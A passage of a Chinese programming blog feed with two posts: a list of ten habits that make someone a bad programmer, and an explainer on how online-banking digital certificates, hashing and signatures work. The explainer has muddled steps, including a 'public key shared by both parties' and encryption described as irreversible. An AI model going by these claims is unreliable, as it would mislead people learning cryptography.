margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><h2 style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; "><strong style="font-weight: bold; ">十个让你变成糟糕的程序员的行为</strong></h2><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">1) 情绪化的思维</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">如果你开始使用不同颜色的眼光来看待这个世界的话，那么你可能会成为一个很糟糕的程序员。情绪化的思维或态度很有可能会把自己变成一个怪物。相信你经常可以看到很多很糟糕的程序会使用下面的这些语句：</p><ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; "><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">我的程序不可能有这种问题。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">Java就是shit。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">我最恨的就是使用UML做设计。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">需求怎么老在变，没办干了。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">受不了这些人，他们到底懂不懂啊。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">&#8230;&#8230; &#8230;&#8230;</li></ul><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">这些带着情绪化的思维和态度，不但可以让你成为一个很糟糕的程序员，甚至可以影响你的前途。因为，情绪化通常都是魔鬼，会让你做出错误的判断和决定，错误码率的判断和决定直接决定了你的人生。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">2) 怀疑别人</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">糟糕的程序总是说：&#8220;我的代码一定是正确的，我怀疑编译器有问题&#8221;，&#8220;我这应该没有问题吧，STL库怎么这么难用啊&#8221;。我曾经见过有程序员这样使用 STL类：map&lt;char*, char*&gt;，当他发现这样放入字符串后却取不出来，觉得那是STL库的BUG，然后自己写了一个map！我的天啊！</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">某些时候，过早的下结论是一个很不好的习惯，任何事情都有其原因，只有知道了原因，你才能知道是谁的问题。一般来说，总是自己出的问题。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">3) 过多关注实现，陷入问题细节</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">有些时候，当我们面对一个问题或是一个需求的时候，糟糕的程序员总是会马上去找一个解决方案或是实现，这是一个很不好的习惯。设计模式告诉我们，&#8220;喜欢接口，而不是实现&#8221;就是告诉我们，认清问题的本质和特性要比如何实现更重要。</p><ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; "><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">对于一个客户的问题来说，首先应该想到的是如何先让用户正常工作，如何恢复正在&#8220;流血&#8221;的系统，而不是把用户放在一边而去分析问题的原因和解决方案。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">对于解决一个bug来说，重现bug，了解原来程序的意图是首先重要的事，而不是马上去修改代码，否则必然会引入更多的BUG。</li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: disc; list-style-position: initial; list-style-image: initial; ">对于一个需求来说，我们需要了解的需求后面的商业背景，use case和真实意图，而不是去讨论如何实现。只有了解了用户的真实意图，实际使用的方式和案例，你才能真正如果去做设计。</li></ul><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">糟糕的程序总是容易陷入细节，争论于如何实现和实现难题，以及问题的根本原因，而忽略了比这些更重要的东西。只有看懂了整个地图，我们才知道要怎么去走。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">4) 使用并不熟悉的代码</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">糟糕的程序员最好的朋友是 Ctrl-C 和 Ctrl-V ，有些时候，他们并不知道代码的确切含义，就开始使用它，有证据表明，由拷贝粘贴引发的bug占了绝大多数。因为，代码总是只能在特定的环境下才能正常地 工作，如果代码的上下文改变了，很有可能使得代码产生很多你不知道的行为，当你连代码都控制不住了，你还能编出什么好的程序呢？</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">5) 拼命工作而不是聪明的工作</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">对于糟糕的程序员，我们总是能看到他们拼命地修正他们的bug，总是花非常多时间并重复地完成某一工作。而好的程序可能会花双倍的时间来准备一个有 效的开发环境，工具，以及在开发的时候花双倍甚至10倍的时间来避免一些错误。好的程序员总是会利用一切工具或手段来让自己的工作变得更有效率，总是为在 开发的时候尽可能得不出错。后期出错的成本将会是巨大的，而且那时改正错误的压力也是巨大的。所以，糟糕的程序通常会让自己进入一种恶性循环，他们看上去 总是疲惫的，总是很辛苦的，所以更没有时间来改善，越没有时间来改善，就有越多的问题。所以，拼命工作有些时候可能表明你不是一个好的程序员。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">6) 总是在等待、找借口以及抱怨</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">当需求不明确的时候，当环境不是很满意的时候，他们总是在等待别人的改善。出现问题的时候，总是在找借口，或是抱怨这也不好，那也不好，所以自己当 然就没有做好。糟糕的程序员总是希望自己的所处的环境是最好的，有明确的需求，有非常不错的开发环境，有足够的时间，有不错的QA，还有很强的team leader，以及体贴自己的经理，有足够的培训，有良好的讨论，有别人强有力的支持&#8230;&#8230;，这是一种&#8220;饭来张口，衣来伸手&#8221;的态度，这个世界本来就不完 美，一个团队需要所有人去奋斗，况且，如果什么都变得完美了，那么，你的价值何在吗？driving instead of waiting, leading instead of following.</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">7) 滋生办公室政治</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">有句话叫&#8220;丑女多作怪&#8221;，意思是说如果一个自己没有真实的能力的话，那么他一定会在其它方面作文章。糟糕的程序员也是这样，如果他们程序编不好的 话，比不过别人的话，他们通常会去靠指责别人，推脱责任，或是排挤有能力的人，等等不正常的手段来保全自己。所以，糟糕的程序通常伴随着办公室政治。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">8 ) 说得多做得少</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">糟糕的程序员总是觉得自己什么都懂，他们并不会觉得自己的认识和知识都是有限的。这就是所谓的夸夸其谈，是的，什么都做不好的程序员能靠什么混日子呢？就是吹啊吹啊。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">另一个表现方式是他们在评论起别人的程序或是设计，总是能挑出一堆毛病，但自己的程序写得也很烂。总是批评抱怨，而没有任何有建设性的意见，或是提出可行的解决方案。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">这些糟糕的程序员，总是喜欢以批评别人的程序而达到显示自己的优秀。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">9) 顽固</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">当你给出一打证据说明那里有一个更好的方案，那里有一个更好的方向的时候，他们总是会倔强的认为他们自己的做法才是最好的。一个我亲身经历的事例就 是，当我看到一个新来的程序员在解决一个问题的时候走到了错误的方向上时，我提醒他，你可能走错了，应该是另外那边，并且我证明了给他看还有一个更为简单 的方法，有。然而，这位程序员却告诉我，&#8220;那是我的方法，我一定要把之走下去，不然我会非常难受&#8221;，于是，在三天后的代码评审中，在经过顽固地解释以及一 片质疑声中，他不得不采用了我最先告诉他的那个方法。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">这些程序员，从来不会去想，也不会去找人讨论还有没有更好的方法，而是坚持自己的想法，那怕是条死路都一往直前，不撞南墙永不回头。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><strong style="font-weight: bold; ">10) 写&#8220;聪明&#8221;的代码</strong></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">他们写出来的代码需要别的同事查看程序语言参考手册，或是其程序的逻辑或是风格看上去相当时髦，但却非常难读。代码本应该简洁和易读，而他们喜欢在代码中表现自己，并尝试另类的东西，以显示自己的才气。是的，只有能力有问题的程序员才需要借助这样的显示。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">记得以前的一个经历，一位英语很不错的程序员加入公司，本来对我们这些英语二把刀来说，我们喜欢看到的是简单和易读的英文文档，然后，那位老兄为了 展示他的英语如何牛，使用了很多GRE中比较生僻的短语和词汇。让大家阅读得很艰苦。最有讽刺意味的是，有一位native的美国人后来在其邮件中询问他 某个单词的意思。呵呵。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">你是一个糟糕的程序员吗？欢迎你分享你的经历。</p></span>
<img src ="http://www.cppblog.com/flyinghare/aggbug/126458.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2010-09-12 15:11 <a href="http://www.cppblog.com/flyinghare/archive/2010/09/12/126458.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网上银行安全证书工作原理</title><link>http://www.cppblog.com/flyinghare/archive/2010/08/16/123605.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Mon, 16 Aug 2010 07:49:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2010/08/16/123605.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/123605.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2010/08/16/123605.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/123605.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/123605.html</trackback:ping><description><![CDATA[<div><font color=#0070c0 size=2>何谓数字证书？　　 <br><br>数字证书是一个经证书认证中心（CA）数字签名的包含公开密钥拥有者信息以及公开密钥的数据文件。认证中心的数字签名可以确保证书信息的真实性，用户公钥信息可以保证数字信息传输的完整性，用户的数字签名可以保证数字信息的不可否认性。　　 <br><br>数字证书是各类终端实体和最终用户在网上进行信息交流及商务活动的身份证明，在电子交易的各个环节，交易的各方都需验证对方数字证书的有效性，从而解决相互间的信任问题。　　 <br><br>认证中心（CA）作为权威的、可信赖的、公正的第三方机构，专门负责为各种认证需求提供数字证书服务。认证中心颁发的数字证书均遵循X.509 V3标准。X.509标准在编排公共密钥密码格式方面已被广为接受。　　 <br><br>数字证书的功能主要包括：身份验证、信息传输安全、信息保密性（存储与交易）、信息完整性、交易的不可否认性。　　 <br><br>数字安全证书的工作流程　　 <br><br>如果客户A想和银行B通信，他首先必须从数据库中取得银行B的证书，然后对它进行验证。如果他们使用相同的CA（证书认证中心），事情就很简单，客户A 只需验证银行B证书上CA的签名。如果他们使用不同的CA，问题就较为复杂。客户A必须从CA的树形结构底部开始，从底层CA往上层CA查询，一直追踪到 同一个CA为止，找出共同的信任CA。目前个人获取网上银行安全证书的途径都是通过银行申请，所以双方肯定采用同一证书认证中心颁发的证书。　　 <br><br>现在假设客户A向银行B传送数字信息，为了保证信息传送的真实性、完整性和不可否认性，需要对要传送的信息进行数字加密和数字签名，其传送过程如下： <br>1）客户A准备好要传送的数字信息（明文）。　　 <br>2）客户A对数字信息进行哈希（hash）运算，得到一个信息摘要。&nbsp;<br><font color=#0070c0 size=2></font>3）客户A用自己的私钥（SK）对信息摘要进行加密得到客户A的数字签名，并将其附在数字信息上。　　 <br>4）客户A随机产生一个加密密钥（DES密钥），并用此密钥对要发送的信息进行加密，形成密文。 <br>5）客户A用双方共有的公钥（PK）对刚才随机产生的加密密钥进行加密，将加密后的DES密钥连同密文一起传送给乙。　　 <br>6）银行B收到客户A传送过来的密文和加过密的DES密钥，先用自己的私钥（SK）对加密的DES密钥进行解密，得到DES密钥。　　 <br>7）银行B然后用DES密钥对收到的密文进行解密，得到明文的数字信息，然后将DES密钥抛弃（即DES密钥作废）。　　 <br>8）银行B用双方共有的公钥（PK）对客户A的数字签名进行解密，得到信息摘要。银行B用相同的hash算法对收到的明文再进行一次hash运算，得到一个新的信息摘要。　　 <br>9）银行B将收到的信息摘要和新产生的信息摘要进行比较，如果一致，说明收到的信息没有被修改过。</font></div>
<div><font color=#0070c0 size=2></font>&nbsp;</div>
<div>
<div><font color=#0070c0 size=2>数字证书原理</font></div>
<div><font color=#0070c0 size=2>2007-03-15 10:49</font></div>
<table style="TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td>
            <div>
            <p><font color=#0070c0 size=2>　　数字证书是网络通讯中标志通讯各方身份信息的一系列数据，它提供了在互联网上验证通信各方身份的方法，它是权威机构－CA认证机构，又称为证书授权（Certificate&nbsp;&nbsp; Authority）中心发行。</font>
            <p><font color=#0070c0 size=2>　　数字证书是经证书管理中心数字签名的包含公开密钥、拥有者信息以及公开密钥的文件。证书的格式遵循ITUTX.509国际标准。X.509数字证书通常包含以下内容：</font>
            <p><font color=#0070c0 size=2>　　1.证书的版本信息。</font>
            <p><font color=#0070c0 size=2>　　2.证书的序列号，每个证书都有唯一的证书序列号。</font>
            <p><font color=#0070c0 size=2>　　3.证书所使用的签名算法。</font>
            <p><font color=#0070c0 size=2>　　4.证书的发行机构名称，命名规则一般采用X.500格式。</font>
            <p><font color=#0070c0 size=2>　　5.证书的有效期，通用的证书一般采用UTC时间格式，它的计时范围为1950－2049。</font>
            <p><font color=#0070c0 size=2>　　6.证书所有人的名称，命名规则一般采用X.500格式。</font>
            <p><font color=#0070c0 size=2>　　7.证书所有人的公开密钥。</font>
            <p><font color=#0070c0 size=2>　　8.证书发行者对证书的签名。</font>
            <p><font color=#0070c0 size=2>　　数字证书采用公钥体制，即利用一对互相匹配的密钥进行加密、解密。每个客户可以设定特定的仅为本人所知的私有密钥（私钥），用它进行数据解密和签名；同时设定一把公共密钥（公钥）并由本人公开，发送方使用接收方的公钥对数据加密，而接收方则使用自己的私钥解密，这样信息就可以安全无误地到达目的地了。</font>
            <p><font color=#0070c0 size=2>　　数字加密是一个不可逆过程，即只有使用私有密钥才能解密。在公开密钥密码体制中，常用的是RSA体制。其数学原理是将一个大数分解成两个质数的乘积，加密和解密用的是两个不同的密钥。即使已知明文、密文和加密密钥（公开密钥），在计算上想要推导出解密密钥（私密密钥）是不可能的。按现在的计算机技术水平，要破解目前采用的1024位RSA密钥，需要上千年的计算时间。</font>
            <p><font color=#0070c0 size=2>　　公开密钥体系解决了密钥发布的管理问题，客户可以公开公开密钥，而保留私有密钥。使用者可以使用接收方的公开密钥对发送的信息进行加密，安全地传送到对方，然后由接收方使用自己的私有密钥进行解密。</font>
            <p><font color=#0070c0 size=2>　　客户可以采用自己的私钥对信息加以处理，由于密钥仅为本人所有，这样就产生了别人无法生成的文件，也就形成了数字签名。采用数字签名，能够确认以下两点：</font>
            <p><font color=#0070c0 size=2>　　（1）保证信息是由签名者自己签名发送的，签名者不能否认或难以否认。</font>
            <p><font color=#0070c0 size=2>　　（2）保证信息自签发后到收到为止未曾做过任何修改，签发的文件是真实文件。</font>
            <p><font color=#0070c0 size=2>　　数字签名具体做法如下：</font>
            <p><font color=#0070c0 size=2>　　1）将报文按双方约定的HASH算法计算得到一个固定位数的报文摘要。在数学上保证，只要改动报文中任何一位，重新计算出的报文摘要值就会与原先的值不相符。这样就保证了报文的不可更改性。</font>
            <p><font color=#0070c0 size=2>　　2）将该报文摘要值发送者的私人密钥加密，然后连同原报文一起发送给接收者，产生的报文称数字签名。</font>
            <p><font color=#0070c0 size=2>　　3）接收方收到数字签名后，用同样的HASH算法对报文计算摘要值，然后与用发送者公开密钥进行解密解开的报文摘要值相比较，如果相等则说明报文确实来自所谓的发送者。</font>
            <p><font color=#0070c0 size=2>　　如果所有用户都由同一CA为其签署证书，则这一CA就必须取得所有用户的信任。用户证书除了能放在目录中供他人访问外，还可以由用户直接把证书发给其他用户。用户B得到用户A的证书后，可相信用户A的公钥加密的消息不会被他人获悉，还相信用户A的私钥签署的消息是不可全国伪造的。</font>
            <p><font size=2></font>&nbsp;
            <p><font size=2></font>&nbsp;
